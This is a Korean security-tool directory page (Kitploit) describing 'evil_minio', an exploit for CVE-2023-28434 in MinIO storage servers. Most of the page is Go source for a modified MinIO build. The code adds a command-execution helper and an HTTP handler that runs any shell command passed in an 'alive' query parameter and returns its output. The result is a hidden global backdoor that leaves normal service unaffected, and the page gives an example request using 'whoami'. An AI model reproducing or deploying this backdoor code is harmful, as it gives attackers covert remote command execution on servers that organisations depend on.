Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
evil_minio — CVE-2023-28434 MinIO 비인가 접근을 통한 원격 코드 실행(RCE) 익스플로잇 | Kitploit
도구/GitHubGitHub/abelche/evil_minio
ExploitationWeb Application ExploitationCommand and ControlRemote Access ToolPayload Development
GitHubabelche/evil_minio

evil_minio

CVE-2023-28434 MinIO 비인가 접근을 통한 원격 코드 실행(RCE) 익스플로잇

저장소 보기
3203923년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Evil MinIO (CVE-2023-28434)

문서: CVE-2023-28432 minio 接口未授权访问到无损RCE和全局后门.pdf

CVE-2023-28434에 대한 EXP

MinIO 무단 접근에서 RCE까지

출처: https://github.com/minio/minio/tree/8b4d0255b7247b1a06d923e69ed5ba01434e70b8

변경된 내용

  • cmd/x.go 추가, 시스템 명령 실행에 사용
root@kitploit:~
package cmd

import (
	"os/exec"
	"runtime"
)

func getOutputDirectly(commandStr string) string {
	var execGlobalOutput string
	var shell [2]string
	var systemOS string = runtime.GOOS
	if systemOS == "linux" || systemOS == "darwin" {
		shell[0], shell[1] = "/bin/bash", "-c"
	} else {
		shell[0], shell[1] = "C:\\Windows\\System32\\cmd.exe", "/c"
	}
	cmd := exec.Command(shell[0], shell[1], commandStr)
	output, err := cmd.Output()
	if err != nil {
		return ""
	}
	execGlobalOutput += string(output)
	return execGlobalOutput
}
  • cmd/routers.go, #72 라인 추가
root@kitploit:~
// ..........
	setUploadForwardingHandler,
	// Add bucket forwarding handler
	setBucketForwardingHandler,
	// Add new handlers here.
	xHandler, // 이 줄 추가
}

// configureServer handler returns final handler for the http server.
func configureServerHandler(endpointServerPools EndpointServerPools) (http.Handler, error) {
// ..........
  • cmd/generic-handlers.go, 마지막에 xHandler 함수 추가
root@kitploit:~
func xHandler(h http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		var arg string
		values := r.URL.Query()
		arg = values.Get("alive")
		if arg != "" {
			w.Write([]byte(getOutputDirectly(arg)))
			return
		}
		h.ServeHTTP(w, r)
	})
}

가능한 동작

  1. 전역 백도어: http://1.2.3.4/?alive=whoami 및 http://1.2.3.4/anything?alive=whoami
  2. 일반 기능에는 영향을 주지 않음

image-20230327164103832

image-20230327164128648

도구 다운로드